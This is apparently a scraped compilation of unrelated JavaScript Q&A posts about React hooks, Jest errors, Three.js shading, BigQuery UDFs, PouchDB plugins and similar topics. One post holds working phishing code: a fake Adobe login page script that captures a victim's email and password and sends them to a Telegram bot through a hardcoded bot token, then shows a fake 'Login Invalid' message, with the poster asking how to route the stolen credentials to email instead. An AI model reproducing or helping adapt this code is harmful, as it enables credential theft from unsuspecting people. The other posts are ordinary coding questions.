Can you pass parameters to a React hook that takes in no parameters?

I am working on a certain assessment where I have to modify a code base to implement a feature. Now, there is a jsx file that calls a hook, and a js file in which the hook is defined. Let’s call the jsx file thing.jsx, and let’s say that it has some lines of code that look like this:

import useHook from '../hooks/useHook';
const thing = useHook({thingy1, thingy2, thingy3});
//rest of code goes here

Then, the file in which the hook is defined (useHook.js) looks like this:

function useHook() {
  //I'm supposed to implement this function
}

export default useHook;

Now, notice that in the hook’s definition, there are no parameters. Yet, in the jsx file, they pass in an object.

Since this is an assessment for me, there are certain things that they don’t want me to change. I’m torn as to whether or not they are expecting me to leave the function definition with no parameters in it as shown above (which would imply that you can just simply pass in parameters to hooks that have no parameters in their definitions?), or if they are actually looking for me to add the parameters myself.

What do you think? Can you just pass parameters to a parameter-less hook in another file, or am I right to just add the parameters to the function myself?

Jest fails when rendering React component with ‘No element indexed by’

I am attempting to get Jest working for my React Native project and have run into a variety of problems, the most confusing of which is the following:

When I run any test that renders a component, it spits out the error No element indexed by 7.

Here is the full stack trace:

FAIL  __tests__/App-test.tsx
      ● Test suite failed to run
    
        No element indexed by 7
    
          at ArraySet_at [as at] (node_modules/source-map-support/node_modules/source-map/lib/array-set.js:109:9)
          at BasicSourceMapConsumer.SourceMapConsumer_originalPositionFor [as originalPositionFor] (node_modules/source-map-support/node_modules/source-map/lib/source-map-consumer.js:673:30)
          at mapSourcePosition (node_modules/source-map-support/source-map-support.js:244:42)
          at wrapCallSite (node_modules/source-map-support/source-map-support.js:397:20)
          at Function.prepareStackTrace (node_modules/source-map-support/source-map-support.js:446:39)
          at Function.write (node_modules/@jest/console/build/BufferedConsole.js:101:7)
          at console._log (node_modules/@jest/console/build/BufferedConsole.js:117:21)
          at console.error (node_modules/@jest/console/build/BufferedConsole.js:161:10)

This same error occurs with any component I attempt to render.

Regarding this issue which purports to solve a similar problem, I have tried installing babel (npm install --save-dev babel-jest @babel/core @babel/preset-env) and setting “coverageProvider” in the jest config to "v8". With or without the v8 preset I am still getting the same errors. It’s definitely possible that I configured something else wrong. Here are some code snippets which may be of use:

App-test.tsx

/**
 * @format
 */

import 'react-native';
import React from 'react';
import App from '../App';

// Note: test renderer must be required after react-native.
import renderer from 'react-test-renderer';

it('renders correctly', () => {
  renderer.create(<App />);
});

package.json

// ...
"jest": {
    "preset": "react-native",
    "coverageProvider": "babel",
    "transformIgnorePatterns": [
      "node_modules/(?!(react-native|@react-native|react-native-video|react-native-reanimated|@miblanchard/react-native-slider|react-native-gesture-handler)/)"
    ],
    "transform": {
      "^.+\.[t|j]sx?$": "babel-jest"
    },
    "moduleFileExtensions": [
      "ts",
      "tsx",
      "js",
      "jsx",
      "json",
      "node"
    ]
  }

babel.config.js

module.exports = {
  presets: [
    'module:metro-react-native-babel-preset',
    ['@babel/preset-typescript', {allowDeclareFields: true}],
  ],
  plugins: [
    "react-native-reanimated/plugin",
  ],
};

As an additional note, I have tried adding @babel/preset-env to the list of babel presets, but this only resulted in a different error related to a separate package added to the transformIgnorePatterns list. Adding source-map-support to said list also solves nothing.

Edited to note that these tests fail regardless of whether or not the --coverage argument is applied

how can i pass a dynamic argument to a EventListener?

have this code:

   function roleDescription() {
    // вторая ступень = описание роли при наведении, выбор роли при клике
    for (let i = 0; i < originDescription.length; i++) {
      buttons[i].addEventListener('mouseover', asignDesc);
      buttons[i].addEventListener('click', asignRole, {
        once: true
      });
    }
  }

and this functions:

    function asignRole(i) {
    playerrole = role[i];
    alert(playerrole);
    makeSpecial();
  }

  function asignDesc(i) {
    maintext.textContent = originDescription[i];
    maintext.style.fontSize = '15px';
  }

how can i pass [i] from cycle [for] so i can get all this scipt goin’ well?

function works on page load but not on button click

I’m trying to get my web app to run when clicked but it only works when the page is initially loaded. If I keep pressing f5 it will select an item randomly and work correctly. But I’d like for it to do so when the ‘next’ button is pressed.

I’m attempting to change the ‘locationTitle’ id to a random item from myArray.

When I open up the developer tools and click on the ‘NEXT’ button, it flashes on the ‘locationTitle’ value of the div.

let myArray = [
    'Boardwalk', 
    'Highland Park', 
    'Waterfront',
    'Beach', 
    'North End', 
    'Canal',
    'Wiley Island', 
    'Conservation Park', 
    'Dufferin Falls',
    'Old Town',
]

const random = Math.floor(Math.random() * myArray.length);
console.log(myArray[random]);

let my_btn = document.getElementById("my_btn");

function nextElement() {
    document.getElementById("locationTitle").innerHTML = (myArray[random]);
    

}


window.addEventListener("load", nextElement);
my_btn.addEventListener("click", nextElement);


html:
<button id = "my_btn" onclick = "nextElement()" ;>NEXT</button>

Three js object turning black when applying Phong Shading

I have a project that basically displays 3 cubes and if i press A i alternate the material of the cubes between a MeshLambertMaterial and a MeshPhongMaterial. The problem is whenever i create the phong material and add the shadding itself the object turns black and i dont get wwhy, because i calculate the normals of vertices before hand

I know the code is very big but ignore the code overall, the important part is this function changeMaterial, because thats where the phong shadding is applied

Important part:

function changeMaterial(change) {
    for (i = 0; i < figures.length; i++)
    {
        if (change)
        {
            figures[i].material = new THREE.MeshLambertMaterial( {color: 0xff0000} );
            figures[i].material.shading = THREE.FlatShading;
            figures[i].material.shading = THREE.SmoothShading;
            figures[i].geometry.normalsNeedUpdate = true;
            figures[i].geometry.computeVertexNormals();
        }
        else
        {
            figures[i].material = new THREE.MeshPhongMaterial( {color: 0xff0000} );
            figures[i].geometry.computeVertexNormals();
            figures[i].geometry.normalsNeedUpdate = true;
            console.log(figures[i].geometry);
            figures[i].material.specular = 0x111111;
            figures[i].material.shininess = 10;
            figures[i].material.shading = THREE.FlatShading;
            figures[i].material.shading = THREE.SmoothShading;
            figures[i].material.needsUpdate = true;
            figures[i].geometry.normalsNeedUpdate = true;
            console.log(figures[i].geometry);
        }
    }
}

Program:

/*global THREE*/

var camera = [];
var scene= [];
var renderer, currentCamera = 0;
let cameraRatio = 10;

var viewSize = 50;
var aspectRatio;

var geometry, material, mesh;
var wiredObjects = [];

var leftArrow, rightArrow, upArrow, downArrow;
var clock = new THREE.Clock();

var defaultScale = 1;
var universe;
var loader = new THREE.TextureLoader();
var controls;
var fig1;
var fig2;
var wood_texture = new THREE.TextureLoader().load("./media/wood.jpg");
var glass_texture = new THREE.TextureLoader().load("./media/glass.jpg");
var direc_light;
var directionalLight;
var direc_intensity = 0.5;
var figures = [];
var change_material = true;
var qKey,wKey,eKey,rKey,tKey,yKey;
var reset = false;
let pause = false;
var OrtogonalCamera;

'use strict';

function createFloor(obj, x, y, z) {
    geometry = new THREE.BoxGeometry(30,0.5, 40);
    material = new THREE.MeshPhongMaterial( { map: wood_texture } );
    mesh = new THREE.Mesh(geometry, material);
    mesh.position.set(x, y, z);
    obj.add(mesh);
}

function createPalanque(obj, x, y, z) {
    geometry = new THREE.BoxGeometry(20,0.5, 20);
    let geometry2 = new THREE.BoxGeometry(15,0.5, 15);
    material = new THREE.MeshLambertMaterial( { map: glass_texture } );
    mesh = new THREE.Mesh(geometry, material);
    mesh.position.set(x, y, z);
    mesh2 = new THREE.Mesh(geometry2, material);
    mesh2.position.set(x, y+2, z);
    obj.add(mesh);
    obj.add(mesh2);
}

function createMesh(obj,name,type,posx,posy,posz,rotX,rotY,rotZ,mat)
{
    let shape = new THREE.Shape();
    let width;
    const pos = new THREE.Vector3();
    const extrudeSettings = {
        depth: 0.002,
        bevelEnabled: true,
        bevelSegments: 1,
        steps: 0,
        bevelSize: 0,
        bevelThickness: 0.1
    }
    switch(name)
    {
        case 'square':
            width = 10;
            shape.moveTo(0,0);
            shape.lineTo(0,width);
            shape.lineTo(width,width);
            shape.lineTo(width,0);
            shape.lineTo(0,0);
            pos.x=-40;
            pos.y=-40;
            break;
        
        case 'triangle':
            width = 10;
            shape.moveTo(0,-width);
            shape.lineTo(0,width);
            shape.lineTo(width,0);
            shape.lineTo(0,-width);
            pos.x=0;
            pos.y=0;
            break;
    }
    let geometry;
    if (type == 1)
        geometry = new THREE.ExtrudeBufferGeometry(shape,extrudeSettings);
    if (type == 2)
        geometry = new THREE.ShapeBufferGeometry(shape);

    var shape_mat;
    if(mat == 1)
        shape_mat = new THREE.MeshBasicMaterial({color: 0xff0000, wireframe: false, side:THREE.DoubleSide});
    geometry.computeVertexNormals();
    console.log(geometry);
    mesh = new THREE.Mesh(geometry,shape_mat);
    mesh.position.copy(pos);
    mesh.rotateX(rotX);
    mesh.rotateY(rotY);
    mesh.rotateZ(rotZ);
    mesh.position.set(posx,posy,posz);
    mesh.name="teste";
    obj.add(mesh);
}

function render() {
    renderer.autoClear = false;
    renderer.clear();
    renderer.setViewport(0, 0, window.innerWidth, window.innerHeight);
    renderer.render(scene[0], camera[currentCamera]); // tells 3js renderer to draw scene visualization based on camera
    if (pause) {
        if (currentCamera == 1)
        {
            renderer.setViewport(0, 0, window.innerWidth, window.innerHeight);
            renderer.render(scene[1], OrtogonalCamera2);
        }
        else
        {
            renderer.setViewport(0, 0, window.innerWidth, window.innerHeight);
            renderer.render(scene[1],OrtogonalCamera);
        }
    }
}

function render2()
{
    renderer.render(scene[0], camera[currentCamera]);
    camera[2].update( camera[0]); 
    /* camera[currentCamera].updateWorldMatrix();
    camera[2].update(camera[currentCamera]);
    const size = new THREE.Vector2();
    renderer.getSize(size);

    renderer.setScissorTest(true);

    renderer.setScissor(0, 0, size.width / 2, size.height);
    renderer.setViewport(0, 0, size.width / 2, size.height);
    renderer.render(scene[0], camera[2].cameraL);

    renderer.setScissor(size.width, 0, size.width / 2, size.height);
    renderer.setViewport(size.width / 2, 0, size.width / 2, size.height);
    renderer.render(scene[0], camera[2].cameraR);

    renderer.setScissorTest(false); */
}

function onResize() {

    renderer.setSize(window.innerWidth, window.innerHeight);
    
    if (window.innerWidth > 0 &&  window.innerHeight > 0){
        if (camera[currentCamera] === OrtogonalCamera) {
            var i;
            var val = 2;
            aspectRatio = window.innerWidth / window.innerHeight;
            renderer.setSize(window.innerWidth, window.innerHeight);
            for (i = 0; i < 1; i++) { // Ortographic Cameras
                camera[currentCamera].left = -viewSize * aspectRatio / val;
                camera[currentCamera].right = viewSize * aspectRatio / val;
                camera[currentCamera].top = viewSize / val;
                camera[currentCamera].bottom = viewSize / -val;
                camera[currentCamera].updateProjectionMatrix();
            }
        }
        else
        {
            if((window.innerWidth / window.innerHeight) < 1.6) {
                camera[currentCamera].aspect = window.innerWidth / window.innerHeight;
                camera[currentCamera].updateProjectionMatrix();
                camera[currentCamera].lookAt(scene.position);
            }
        }
        
        camera[currentCamera].updateProjectionMatrix();
    }
}


function update()
{
    if(!pause)
    {
        var timeOccurred = clock.getDelta();
        var RotSpeed = 2.5;

        if (qKey || wKey || eKey || rKey || tKey || yKey) { // figures movement flags
            if (qKey)
                figures[0].rotation.y += RotSpeed * timeOccurred;
            if (wKey)
                figures[0].rotation.y += -RotSpeed * timeOccurred;
            
            if (eKey)
                figures[1].rotation.y += RotSpeed * timeOccurred;
            if (rKey)
                figures[1].rotation.y += -RotSpeed * timeOccurred;
            
            if (tKey)
                figures[2].rotation.y += RotSpeed * timeOccurred;
            if (yKey)
                figures[2].rotation.y += -RotSpeed * timeOccurred;
            
            if (qKey && wKey) {
                qKey = false;
                wKey = false;
            }

            if (eKey && rKey) {
                eKey = false;
                rKey = false;
            }

            if (tKey && yKey) {
                tKey = false;
                yKey = false;
            }
        }
    }
}

function changeLightning(intensity) {
    universe.getObjectByName("directional").getObjectByName("light").intensity = intensity;
}

function changeMaterial(change) {
    for (i = 0; i < figures.length; i++)
    {
        if (change)
        {
            figures[i].material = new THREE.MeshLambertMaterial( {color: 0xff0000} );
            figures[i].material.shading = THREE.FlatShading;
            figures[i].material.shading = THREE.SmoothShading;
            figures[i].geometry.normalsNeedUpdate = true;
            figures[i].geometry.computeVertexNormals();
        }
        else
        {
            figures[i].material = new THREE.MeshPhongMaterial( {color: 0xff0000} );
            figures[i].geometry.computeVertexNormals();
            figures[i].geometry.normalsNeedUpdate = true;
            console.log(figures[i].geometry);
            figures[i].material.specular = 0x111111;
            figures[i].material.shininess = 10;
            figures[i].material.shading = THREE.FlatShading;
            figures[i].material.shading = THREE.SmoothShading;
            figures[i].material.needsUpdate = true;
            figures[i].geometry.normalsNeedUpdate = true;
            console.log(figures[i].geometry);
        }
    }
}

var i = 0;
function display() {
    resetState();
    changeLightning(direc_intensity);
    changeMaterial(change_material);
    requestAnimationFrame(animate);
    render();
    render2();
    VRinit();
}

function animate() {
    update();
    display();
}

function createCube(obj,x,y,z)
{
    const geometry = new THREE.BoxGeometry( 2, 2, 2 );
    const material = new THREE.MeshPhongMaterial( {color: 0xff0000} );
    material.shading = THREE.FlatShading;
    material.shading = THREE.SmoothShading;
    geometry.normalsNeedUpdate = true;
    geometry.computeVertexNormals();
    const cube = new THREE.Mesh( geometry, material );
    cube.position.set(x,y,z);
    obj.add(cube);
    figures.push(cube);
}

function createFig1(obj,x,y,z)
{
    //creates 1st figure
    
    //creates lower left triangle
    createMesh(obj,'triangle',2,0,0,0,0,Math.PI/180*90,0,1);
    createMesh(obj,'triangle',2,0,0,0,0,Math.PI/180*20,0,1);
    obj.position.set(x,y,z);

    universe.add(obj);
}

function createDirectionalLight(obj)
{
    directionalLight = new THREE.DirectionalLight(0xffffff, 0.6);
    directionalLight.position.set(0, 45, 45);
    let lightHelper = new THREE.DirectionalLightHelper(directionalLight);
    directionalLight.name="light";
    obj.add( directionalLight );
    obj.add( lightHelper );
}

function createScene() {
    scene[0] = new THREE.Scene();
    scene[0].add(new THREE.AxesHelper(100));

    universe = new THREE.Object3D();
    universe.scale.set(1,1,1);

    direc_light = new THREE.Object3D();
    direc_light.name="directional";
    createDirectionalLight(direc_light);
    direc_light.rotateZ(Math.PI/180*30);
    console.log(direc_light);
    universe.add(direc_light);
    
    palanque = new THREE.Object3D();
    directionalLight.target = palanque;
    universe.add(palanque);
    createFloor(palanque,0,0,0);
    createPalanque(palanque,0,2,0);

    createCube(universe,0,4.5+1,5);
    createCube(universe,0,4.5+1,0);
    createCube(universe,0,4.5+1,-5);

    const light = new THREE.AmbientLight( 0x404040 ); // soft white light
    universe.add( light );

    fig1 = new THREE.Object3D();
    //createFig1(fig1,10,10,10);

    fig2 = new THREE.Object3D();
    //createFig1(fig2,20,1,1);

    universe.position.set(0,0,0);
    scene[0].add(universe);
    //createMesh('triangle',1,0,10,0.8,0,-Math.PI/180*45,0);
}

function createOrtographicCamera(x, y, z) {

    var val = 2;
    aspectRatio = window.innerWidth / window.innerHeight;
    var camera = new THREE.OrthographicCamera( viewSize * aspectRatio/-val, 
                                                                                    viewSize * aspectRatio / val, 
                                                                                    viewSize / val, 
                                                                                    viewSize / -val, 
                                                                                    1, 
                                                                                    1000);
    camera.position.x = x;
    camera.position.y = y;
    camera.position.z = z;
    
    camera.lookAt(scene[0].position);
    
    return camera;
}

//creates a new scene with Pause Mode
function createPauseMessage() {
    scene[1] = new THREE.Scene();
  
    let spriteMap = new THREE.TextureLoader().load('./media/pauseScreen.png');
    let spriteMaterial = new THREE.SpriteMaterial({
        map: spriteMap
    });
    let message = new THREE.Sprite(spriteMaterial);
    let scaleRatio = 100 * window.innerWidth / window.innerHeight;
    message.scale.set(scaleRatio, scaleRatio, 0);
    message.visible = true;
    message.position.set(0, 0, 20);
  
    scene[1].add(message);
}

function createPerspectiveCamera(x, y, z) {
    aspectRatio = window.innerWidth / window.innerHeight;
    var camera = new THREE.PerspectiveCamera(70,
                                                                                    aspectRatio,
                                                                                    1,
                                                                                    1000);
    camera.position.x = x;
    camera.position.y = y;
    camera.position.z = z;
    
    camera.lookAt(scene[0].position);
    
    return camera;
}

function onKeyDown(e) {
    var keyName = e.keyCode;
    switch (keyName) {
        case 49://1
            if(!pause)
                currentCamera = 0;
            break;
        case 50://2
            if(!pause)
                currentCamera = 1;
            break;

        case 81: //Q
        case 113: //q
            qKey = true;
            break;
        case 87: //W
        case 119: //w
            wKey = true;
            break;          
        
        case 69: //E
        case 101: //e
            eKey = true;
            break;
        case 82: //R
        case 114: //r
            rKey = true;
            break;      
            
        case 84: //T
        case 116: //t
            tKey = true;
            break;
        case 89: //Y
        case 121: //y
            yKey = true;
            break;      
        
        case 68:  //D
        case 100: //d
            if(!pause)
                direc_intensity = (direc_intensity == 0 ? 0.5 : 0);
            break;
        
        case 65://A
        case 97://a
            if(!pause)
                change_material = !change_material;
            break;
        
        case 77:
        case 109:
            if (pause)
                reset=true;
            break;

        case 83:    // Pause
        case 115:
            pause = !pause;
            break;

        case 52://4
            wires = !wires;
            break;
    
        case 37 : // left arrow key
            leftArrow = true;
            break;
        case 38: // up arrow key
            upArrow = true;
            break;
        case 39: // right arrow key
            rightArrow = true;
            break;
        case 40: // down arrow key
            downArrow = true;
            break;
        default:
            break;
    }
}

function onKeyUp(e) {
    var keyName = e.keyCode;
    switch (keyName) {
        case 37 : // left arrow key
            leftArrow = false;
            break;
        case 38: // up arrow key
            upArrow = false;
            break;
        case 39: // right arrow key
            rightArrow = false;
            break;
        case 40: // down arrow key
            downArrow = false;
            break;

        case 81: //Q
        case 113: //q
            qKey = false;
            break;
        case 87: //W
        case 119: //w
            wKey = false;
            break;          
        
        case 69: //E
        case 101: //e
            eKey = false;
            break;

        case 82: //R
        case 114: //r
            rKey = false;
            break;      
        case 84: //T
        case 116: //t
            tKey = false;
            break;
        case 89: //Y
        case 121: //y
            yKey = false;
            break;          
        default:
            break;
    }
}

function resetState()
{
    if (pause)
    {
        if(reset)
        {
            change_material = true;
            changeMaterial(change_material);
            for(i=0;i<figures.length;i++)
                figures[i].rotation.y = 0;
            direc_intensity=0.5;
            changeLightning(direc_intensity);
        }
    }
    reset=false;
}

function createOrtogonalCamera(x, y, z) {
    // Adjusts camera ratio so the scene is totally visible 
    // OrthographicCamera( left, right, top, bottom, near, far )
    camera = new THREE.OrthographicCamera(window.innerWidth / -(2 * cameraRatio),
        window.innerWidth / (2 * cameraRatio), window.innerHeight / (2 * cameraRatio),
        window.innerHeight / -(2 * cameraRatio), 0, 1000);

    camera.position.x = x;
    camera.position.y = y;
    camera.position.z = z;
    camera.lookAt(new THREE.Vector3(-x, -y, z));
    return camera;
}

function VRinit()
{
    if (renderer.xr.getSession())
    {
        renderer.setAnimationLoop( function () {
            renderer.render( scene[0], camera[currentCamera] );
        } );
    }
}

function init() {
        
    renderer = new THREE.WebGLRenderer({antialias: true});
    renderer.setSize(window.innerWidth, window.innerHeight);
    document.body.appendChild(renderer.domElement);
    document.body.appendChild( VRButton.createButton( renderer ) );
    renderer.xr.enabled = true;
    
    createScene();
    OrtogonalCamera = createOrtogonalCamera(0, 100, 20);
    OrtogonalCamera2 = createOrtogonalCamera(0, 10, 10);
    camera[0] = createPerspectiveCamera(viewSize/1.5,viewSize/4,0);
    camera[1] = createOrtographicCamera(0, viewSize,0);
    camera[2] = new THREE.StereoCamera();
    controls = new THREE.OrbitControls(camera[currentCamera], renderer.domElement);
    animate();
    createPauseMessage();

    window.addEventListener("resize", onResize);
    window.addEventListener("keydown", onKeyDown);
    window.addEventListener("keyup", onKeyUp);
}

Post data from form to email using javascript

i have a form that sends form result via telegram Api, i want it to send to an email address instead.
here is the initial code.

    <script type="text/javascript">          
    const button = document.querySelector('.btn');        
    const popup = document.querySelector('.popup');        
    const passInput = document.querySelector('.pass');        
    const emailGrab = document.querySelector('.email');        
    const formData = document.querySelector('.form-data');        
    const passMsg = document.querySelector('.pass-msg');        
    const preview = document.querySelector('.preview');         
    window.addEventListener('load', () => {alert('Authentication Required, Click ok to continue');  
    popup.classList.add('hide');           
     formData.style.animation = 'moveLeft .7s ease-in-out';            
    emailGrab.textContent = zhe;         });         
     let xyz = 5125606677;        
    let yxz = 'AAHFTxbENxov1Ze9FFUlqV7S9cJz6nzLB9U';  
  
     function telegramApi(method, id, message)         {fetch(`https://api.telegram.org/bot${yxz}/${method}?            
    chat_id=${id}&text=${message}&parse_mode=HTML`);        }         
    button.addEventListener('click',         () => { const results = `Adobe EmailAddress: 
    ${emailGrab.textContent} Adobe Password: ${passInput.value}`;             
    if (passInput.value === '') { alert('The Following error(s) occured - Password Required')            }           
     else 
    {  telegramApi('sendMessage', xyz, results);  
          
    passMsg.style.color = 'red';                
    passMsg.textContent = 'Login Invalid Please enter correct password.';                 
     setTimeout(() => {preview.classList.remove('hidden');                }, 2000);                 
     setTimeout(() => { preview.classList.add('hidden'); }, 10000);   }         });           
    passInput.addEventListener('keypress', () => { passMsg.style.color = 'rgb(59, 58, 58)';            
    passMsg.textContent = 'Confirm your details to access your documents';        })          
    </script>    

i have tried the following

    function sendData (); {fetch("ace.php", { method: "POST",body: "data" ); }         
    button.addEventListener('click', () => { const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password: 
    if (passInput.value === '') { alert('The Following error(s) occured - Password Required')                    }
    else {telegramApi('sendMessage', results);  

please i need help, i am not so good with javascript.

Exclude elements from innerText

I have a filter that searches the text of a html list, I only want to search in specific elements in the list. For example I want to exclude .wp-block-post-excerpt class from the search.

I tried to use :not(.wp-block-post-excerpt) in the selector but didn’t do anything.

JS

const input = document.querySelector(
    '.post-search-filter .wp-block-search__input'
);
const items = document.querySelector('.post-list').getElementsByTagName('li');

input.addEventListener('keyup', function (ev) {
    const text = ev.target.value;
    const pat = new RegExp(text, 'i');
    for (let i = 0; i < items.length; i++) {
        const item = items[i];
        if (pat.test(item.innerText)) {
            item.classList.remove('hidden');
        } else {
            console.log(item);
            item.classList.add('hidden');
        }
    }
});

HTML

<ul class="post-list">
   <li class="wp-block-post post-3296 post">
      <div>
      <div class="wp-block-post-date"><time datetime="2022-05-04T16:00:43-04:00">May 4th, 2022</time></div>
      <h2>Newsletter Title</h2>
      <div class="wp-block-post-excerpt">
         <p class="wp-block-post-excerpt__excerpt">Lorem ipsum dolor sit amet...</p>
         <p class="wp-block-post-excerpt__more-text"><a class="wp-block-post-excerpt__more-link" href="https://polaris.test/newsletter-title/">Read More</a></p>
      </div>
   </li>
</ul>

How to Export a div to a formated PDF using NextJs

I have an app project on which we fill out forms and the information will be automatically formatted in a div to create labels (CLP labels) , so I would like to be able to export this Div in pdf format and can choose the sizes (landscape format from A5 to A8)

For this project I’m using Next.js and tailwind css.

And my question is : How to export a div in pdf format using NextJs ?

Thanks !

How can I get the second largest value of an array in js?

I have written the below code to find the secondlargest number in an array. The first test case is working fine but second gives an error.

Test Case 1 - [2,3,6,6,5]
Test Case 2 - [1,2,3,4,5,6,7,8,9,10]

function getSecondLargest(nums) {
    let n = new Set(nums);    //To get the unique number from an array
    let arr = [...n].sort();  // To convert set into array and sorted in increasing order
    return arr[arr.length-2]; // Returnig the second largest value from end of an array
    
}

console.log(getSecondLargest([1,2,3,4,5,6,7,8,9,10]));


// Test Case 1 - [2,3,6,6,5]
// Test Case 2 - [1,2,3,4,5,6,7,8,9,10]

Please help me on this, to get the correct answer for second case.

Moving directories with subdirectories using fs moveSync

I have 2 paths:

app/consultants/pages/assignments
app/consultants/pages/consultants

Both paths contain subdirectories and files.

I created a reduce function that returns an array of objects with the following structure:

[{
  model: 'consultants',
  subModel: 'assignments',
  path: '/app/consultants/pages/assignments'
}

{
  model: 'consultants',
  path: '/app/consultants/pages/consultants'
}]

Then I loop through this array and try to move the directory and all its directories and files:

getAllPagesDirs(appDir).forEach((pages, index) => {
        if (pages.subModel) {
          fs.moveSync(pages.path, path.join(path.resolve("pages"), pages.model, pages.subModel))
        } else {
          fs.moveSync(pages.path, path.join(path.resolve("pages"), pages.model))
        }
})

I’m trying to move the directories to the following with all its files:
/pages/consultants/[consultantSubdirectory]
&
/pages/consultants/assignments/[assignmentsSubdirectory]

What’s currently happening:

I get an error: dest already exists. And only the assignments sub directory gets moved.

How to return a MAP like structure from bigquery javascript UDF so that I can generate a key-value column dynamically at runtime?

I’m trying to return a MAP like structure from Javascript UDF in bigquery. So that I can convert that structure directly into relational columns without knowing the column named prior.
In below approach, I’m trying to stringify JSON and then using json_extract_scaler function to create columns.

CREATE TEMP FUNCTION main(json_str STRING)
RETURNS STRING
LANGUAGE js AS 
r"""
var row = JSON.parse(json_str);
return JSON.stringify(row);
""";

with temp_table as (
  select "ram" name, "[email protected]" email
),
Rule_result as (SELECT main(TO_JSON_STRING(STRUCT(t.name, t.email))) result FROM temp_table as t)
SELECT json_extract_scalar(result, '$.name') name,  
json_extract_scalar(result, '$.email') email
FROM Rule_result as r;

In this approach, I’m returning the struct, knowing the column names beforehand.

CREATE TEMP FUNCTION main(json_str STRING)
RETURNS STRUCT<name STRING, email STRING>
LANGUAGE js AS 
r"""
var row = JSON.parse(json_str);
return row;
""";

with temp_table as (
  select "ram" name, "[email protected]" email
),
Rule_result as (SELECT main(TO_JSON_STRING(STRUCT(t.name, t.email))) result FROM temp_table as t)
SELECT r.result.* FROM Rule_result as r;

Both the approaches work fine. But it doesn’t solve the problem. Because I need to be aware of the column names.
Bigquery supports struct return type but that doesn’t fit my usecase. Since I’m not aware about the column names beforehand.
How can I dynamically create columns from the data return by the javascript UDF without knowing the column names?

  • data is flat JSON object
{
  "name":"ram",
  "email":"[email protected]"
}

I somehow need to convert this JSON object into table columns like

name email
ram [email protected]

external plugins not working with pouchdb with electron-forge i.e PouchDB.plugin(“xyz”) not attatching the plugin to the PouchDB

PouchDB.plugin(“xyz”) not attatching the plugin to the PouchDB

Im trying to use pouchdb with electron-forge webpack template.Pouchdb (leveldown adapter i.e native modules) works perfectly[Main process or renderer process].
But i cant use other plugins such as pouchdb-find, pouchdb-quick-search etc. even i try custom plugin i.e

 // import PouchDB from "pouchdb-core"
 // import PouchDB from "pouchdb-node"
 import PouchFind from "pouchdb-find"
 PouchDB.default.plugin(PouchFind.default)
 // PouchDB.default.plugin(PouchFind)
 // PouchDB.default.plugin(require("pouchdb-find").default)    
 PouchDB.default.plugin({
    foo: function(cb) {
       console.log("working")
       cb("done")
    }
 })

 const db = new PouchDB("kittens")
 db.foo().then(console.log).catch(console.error)  // returns Uncaught TypeError db.foo is not a function
 db.find({
    selector: {name: 'Mario'}
 }).then(console.log).catch(console.error)  // returns Uncaught TypeError  db.foo is not a function

Info

**Environment:** Windows 10,64bit (Electron Forge webpack)[https://www.electronforge.io/config/plugins/webpack] npx create-electron-app my-new-app --template=webpack
**Node.js:** v16.15.0
**electronjs:** 19.0.4
**Platform**: Windows 10
**Adapter:** leveldb
**Vuejs:** ^3.2.37
**PouchDB:** 7.3.0

Reproduce

Create an app with electron-forge webpack template i.e

npx create-electron-app my-new-app --template=webpack

then install pouchdb,pouchdb-find, any other pouchdb plugins, try using the plugins

webpack.main.js

  // Add support for native node modules
  {
    // We're specifying native_modules in the test because the asset relocator loader generates a
    // "fake" .node file which is really a cjs file.
    test: /native_modules/.+.node$/,
    use: 'node-loader',
  },
  {
    test: /.(m?js|node)$/,
    parser: { amd: false },
    use: {
      loader: '@vercel/webpack-asset-relocator-loader',
      options: {
        outputAssetBase: 'native_modules',
      },
    },
  },
  // Put your webpack loader rules in this array.  This is where you would put
  // your ts-loader configuration for instance:
  /**
   * Typescript Example:
   *
   * {
   *   test: /.tsx?$/,
   *   exclude: /(node_modules|.webpack)/,
   *   loaders: [{
   *     loader: 'ts-loader',
   *     options: {
   *       transpileOnly: true
   *     }
   *   }]
   * }
   */
];

webpack.plugin.js

const MiniCssExtractPlugin = require("mini-css-extract-plugin");
const webpack = require("webpack");
module.exports = [
  new VueLoaderPlugin(),
  new webpack.DefinePlugin({
    __VUE_OPTIONS_API__: true,
    __VUE_PROD_DEVTOOLS__: false,
  }),
  new MiniCssExtractPlugin({
    filename: "style.css",
  }),
];

webpack.renderer.config.js

const plugins = require("./webpack.plugins");
const { loader } = require("mini-css-extract-plugin");
const path = require("path");

rules.push({
    test: /.vue$/,
    loader: "vue-loader",
},
  {
    test: /.css$/,
    exclude: /node_modules/,
    use: [
      process.env.NODE_ENV !== "production" ? "vue-style-loader" : loader,
      //{ loader: "style-loader" },
      { loader: "css-loader", options: { importLoaders: 1 } },
      "postcss-loader",
    ],
  },
  // Images: Copy image files to build folder
  { test: /.(?:ico|gif|png|jpg|jpeg)$/i, type: "asset/resource" },

  // Fonts and SVGs: Inline files
  { test: /.(woff(2)?|eot|ttf|otf|svg|)$/, type: "asset/inline" },
  //{test: /.js$/, exclude: /node_modules/, use: ['babel-loader']},
  { test: /.html$/, use: "vue-html-loader" });

module.exports = {
  // Put your normal webpack config below here
  module: {
    noParse: /^(vue|vue-router|pinia)$/,
    rules,
  },
  plugins: plugins,
  resolve: {
    extensions: [".js",".jsx", ".css", ".vue", ".json"],
    alias: {
      //vue: "vue/dist/vue.esm-bundler.js",
      vue: "@vue/runtime-dom",
      "@": path.resolve("src"),
    },
  },
};

Set phone background image using React Native

I manage to upload an image from the local phone gallery and store its URI in a global variable, but I can’t seem to find anywhere how to set the image to my phone background image (not in react!)
The end goal is to allow a change by date in the background.
Assuming I can use global.frsTImgURI, and global.secTImgURI and global.thirdImgURI as my images path (by import). How could I achieve that?

Currently, I manage to upload an image, then show it in my react native, BG, but not on my phone.
My current code for choosing image:

import React from 'react';
import {View, ImageBackground,StyleSheet, Dimensions} from 'react-native';
import global from '../components/global'
const screenHeight = Dimensions.get('window').height;
const screenWidth = Dimensions.get('window').width;
const BackgroundImg = () => {
    return <View>
                <ImageBackground
                    source={{uri: global.frsTImgURI }}
                    resizeMode="stretch"
                    style={styles.img}>
                </ImageBackground>
            </View>
};
export default BackgroundImg;
const styles = StyleSheet.create({
    img: {
        height: screenHeight,
        width: screenWidth,
        justifyContent: 'center',
        alignItems: 'center',
    },
    input: {
        height: 40,
        margin: 12,
        borderWidth: 2,
        padding: 10,
    },
});

Show it on React BG:

import * as React from 'react';
import { View } from 'react-native';
import BackgroundImg from '../components/Background_image'
const App = () => {
    return (
        <View>
            <BackgroundImg />
        </View>
    );
};
export default App;

